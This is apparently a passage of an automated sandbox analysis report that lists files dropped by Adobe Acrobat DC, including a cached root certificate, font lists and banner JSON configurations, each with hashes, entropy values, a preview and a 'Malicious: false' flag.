Preview:	.... .c.......%................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkletk3/tfllXlE/HT8k7ONNX8RolJuRdxLlGB9lQRYwpDdt:kKHueT8yWNMa8RdWBwRd
MD5:	51AD8CF263AD8E724AD7F2683F5F9920
SHA1:	81E7A966FF89B5D536F4CFB5127A4115D181D698
SHA-256:	3372F9E3BE3E7042097856AA881677AB2297DEB1F99BE2E26EF4DA19E9B49652
SHA-512:	FA8D9A932899EA0AACF5D6F20D5DE3104DE1DE8F71485B6750B79EE8436BB13E7F53D4278AC87C7E7F9313D75B9937B0CFA74B8BB013B885D10E473AEBE4F584
Malicious:	false
Preview:	p...... ........m....c..(....................................................... ..........W....^E..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7096

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7096

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.357194202534333
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXzonAr7OApHWKHVoZcg1vRcR0Y8eoAvJM3g98kUwPeUkwRe9:YvXKXBXUGvpt2Zc0vLGMbLUkee9
MD5:	0EB222CAEDC0C489EF008172B6F614D3
SHA1:	1E3FBB5B93CC56FCFE070A7E59F14A2ED7126C79
SHA-256:	309BF30EABE787EF0B42769C3E53EAC9B8454884DE4965AEBFF46DF67735FD4B
SHA-512:	B394D710156DF9098690EB93C051E8D4B76CFD062969D0C003B0A9B0C9B8F61542D607C3EC9F67BBC4D071C884C7718735B04C10C1A89898C11AA0D065EC9B9F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6cebe678-edb6-48f3-b71e-3acd009ee8fe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757031136,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.30082140609602
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXzonAr7OApHWKHVoZcg1vRcR0Y8eoAvJfBoTfXpnrPeUkwRe9:YvXKXBXUGvpt2Zc0vLGWTfXcUkee9
MD5:	71413BA514A0AA71985840F5539F4008
SHA1:	F580BCE9F0FC646E3D54996C95FB75FCF7DB1C9F
SHA-256:	6FB4331EF7A3CCA57EAF41D7DC26EF91EE416335BC32CAE0056D9ED5A2046FF8
SHA-512:	25DE94A199C2983478DD7CE0060A4FB9EC61F62D95C09E7017340EFCBF54E04086AC1293D75EECFD85496FBBB7F4F74111E52852235DD5F1C5D3BAE7B60497F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6cebe678-edb6-48f3-b71e-3acd009ee8fe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757031136,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2806032180457825
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXzonAr7OApHWKHVoZcg1vRcR0Y8eoAvJfBD2G6UpnrPeUkwRe9:YvXKXBXUGvpt2Zc0vLGR22cUkee9
MD5:	23F22C61D42FDA911DF07D476105F679
SHA1:	23C67A975AE2FC5975C511F9745A3EBCAFCB0336
SHA-256:	BA042FDC208B4FE1307E193A0A1E589C7A58C7FE8F56D9DCFAB7CCE1DDFEFEC0
SHA-512:	F55C54BFEA072B96B86E05A88B727675719C475DD1D0C1BA2FC9CA4527998E8007D2F8F11244059A31D4BEA9BB16B3DD90ACE2A642D63B58F19EB16AACC1AB4C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6cebe678-edb6-48f3-b71e-3acd009ee8fe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757031136,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.343988246140619
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXzonAr7OApHWKHVoZcg1vRcR0Y8eoAvJfPmwrPeUkwRe9:YvXKXBXUGvpt2Zc0vLGH56Ukee9
MD5:	F851C7830F6158982AA30752B6884772
SHA1:	AB7833706269D0ABF2FE9B68AAFD0043890AB333
SHA-256:	AB040E8A68DB17486E6B898520E416D9BE235EA733ABECC7C81FBCD407251323
SHA-512:	DD1B625F15495A9F2C1796836E926BF46094349656B6B60D308DDAAFF130A3DA134DCF586C3C60FFD85A44EB40D9235FBD6AFA50D5C5F018E2C772A5ED19659C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6cebe678-edb6-48f3-b71e-3acd009ee8fe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757031136,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.682706317053821
Encrypted:	false
SSDEEP:	24:Yv6XBXhvpt2zvApLgE9cQx8LennAvzBvkn0RCmK8czOCCSZ:YvEX9pMIhgy6SAFv5Ah8cv/Z
MD5:	A239CAE070C086000E2D5416B30DBAC7
SHA1:	FDFE5623D7FEFC0C171A5C643251BAF1875B5EA7
SHA-256:	7BC19ABDC628955F0A63D506ECBBD08A6AB8D1262EAB6E7FDCDDDBCB4A3047BA
SHA-512:	DAC46F5640A50E8D5B5C6D74E807D1A3CC6C5600FBBB4B1A926ADC30B837E890D4B7B231FAC9925C5585F8D2038F3CF03C4C4B22B7963E79431F8E4120B9D991
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6cebe678-edb6-48f3-b71e-3acd009ee8fe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757031136,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.286272116245051
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXzonAr7OApHWKHVoZcg1vRcR0Y8eoAvJf8dPeUkwRe9:YvXKXBXUGvpt2Zc0vLGU8Ukee9
MD5:	30C5D218250FE9FAAEBA916F9417BCFD
SHA1:	1A155C271FED6AA773124A27683BB7B42AAB72C3
SHA-256:	6365B31D542773FF32A88A440C5959D2681C6703E4EE4D526E1397695EB1E652
SHA-512:	8A9A18B1DE23FC0125651E73CDF20338FE8A1D0DE22FACDA12E2498FF762B3BB4A8968593A96CBF027C3FAB5D4AB9A8CA4F8BCFB3D91C8ECED669697F0434B8B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6cebe678-edb6-48f3-b71e-3acd009ee8fe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757031136,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.288762850366975
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXzonAr7OApHWKHVoZcg1vRcR0Y8eoAvJfQ1rPeUkwRe9:YvXKXBXUGvpt2Zc0vLGY16Ukee9
MD5:	5A93BA60136D926D4BCA04B656C57111
SHA1:	92A5AB3775B5480E01D9751B5F30729E85AB2290
SHA-256:	C550368C6C339F991331CF0DDD2CB3C59880BDB717657E322B436A1E8DC6134D
SHA-512:	2EED20B3CAEC5F460B9EF7DD347EF8FFD1993234E89664F83B3E7EF51ED40D74355A422107DFDC92525A45814CB34B276E24BB5D866B9087805E05435BD9EA84
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6cebe678-edb6-48f3-b71e-3acd009ee8fe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757031136,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.295575200302461
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXzonAr7OApHWKHVoZcg1vRcR0Y8eoAvJfFldPeUkwRe9:YvXKXBXUGvpt2Zc0vLGz8Ukee9
MD5:	573F72D1B2AF396E848546850AB5FAFF
SHA1:	B3754B78D51F4BA8309C39EB1DAED56B1B27FED7
SHA-256:	10974010568E838879F19F7446F2FFB0BCB9DA38C92F37DAC7104A98FCE2FFDB
SHA-512:	AC9C6218B56DC669CCF4C4272ED33EB8BD2109BB94FB7F15718B8B2EA0CF62B2A9DBB32F82932515FF3DA8DB76B61989FF80DDFF3E7853B23EC3A134F18CC316
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6cebe678-edb6-48f3-b71e-3acd009ee8fe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757031136,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.31112899728864
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXzonAr7OApHWKHVoZcg1vRcR0Y8eoAvJfzdPeUkwRe9:YvXKXBXUGvpt2Zc0vLGb8Ukee9
MD5:	C514B1060EFC85DCEA2CC324C1938A1A
SHA1:	1E0AC91E2BB64198663BA57BA7228AB5EADD2528
SHA-256:	0B991241749DC42F772DD301F8818669821A2C8070A84E0F5005870AB6542A83
SHA-512:	335F973477099D8EC984F8301C064759245CC7FB4F209B7C28E1F97763086D37E6BBD571748D14A618E6AF3899ECE96FBC0FC4CB95A3372C478AE02B801D850B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6cebe678-edb6-48f3-b71e-3acd009ee8fe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757031136,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291307960943886
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXzonAr7OApHWKHVoZcg1vRcR0Y8eoAvJfYdPeUkwRe9:YvXKXBXUGvpt2Zc0vLGg8Ukee9
MD5:	890FB8A6174A98C42BD215B98A34263C
SHA1:	975BAD894CC77AAC1696E7BE79E08881DA803F10
SHA-256:	3B6411257E95EA2A30ECD9CF9135DF20A36633890AA364BEE57D861EDFDC4809
SHA-512:	031221A83C0C6FA031606E2D50CD2281C08122F4B58C2D9B2EEE5158AF7E535835236C4C2D4323F69DD984C17BBFB4E68C7CAE17F6080B6A1544D111E299F9BF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6cebe678-edb6-48f3-b71e-3acd009ee8fe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757031136,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.278781224198992
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXzonAr7OApHWKHVoZcg1vRcR0Y8eoAvJf+dPeUkwRe9:YvXKXBXUGvpt2Zc0vLG28Ukee9
MD5:	9BCE85D79F50E33FE49A83ABA9725FB2
SHA1:	B439831AC07F77100C0125453B54F3ACB05F861B
SHA-256:	FD3D5ACD6C558A71F4F0231B36BB4FC0381ED5DF716674289FA691008A774905
SHA-512:	2A9A3F3FD7DFE23F1CE6B3876FA639C1FA855110DD5B00373364F55E1908902BE9A538F2B54C94C0D90F2D69015A5B7C044F54872548EC5C50FF145A513FE012
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6cebe678-edb6-48f3-b71e-3acd009ee8fe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757031136,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.274914797717791
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXzonAr7OApHWKHVoZcg1vRcR0Y8eoAvJfbPtdPeUkwRe9:YvXKXBXUGvpt2Zc0vLGDV8Ukee9
MD5:	60392678A20FFE0B959306AE47EFFDDC
SHA1:	0188D3322307C6634EA77ACD62503B475CE75C42
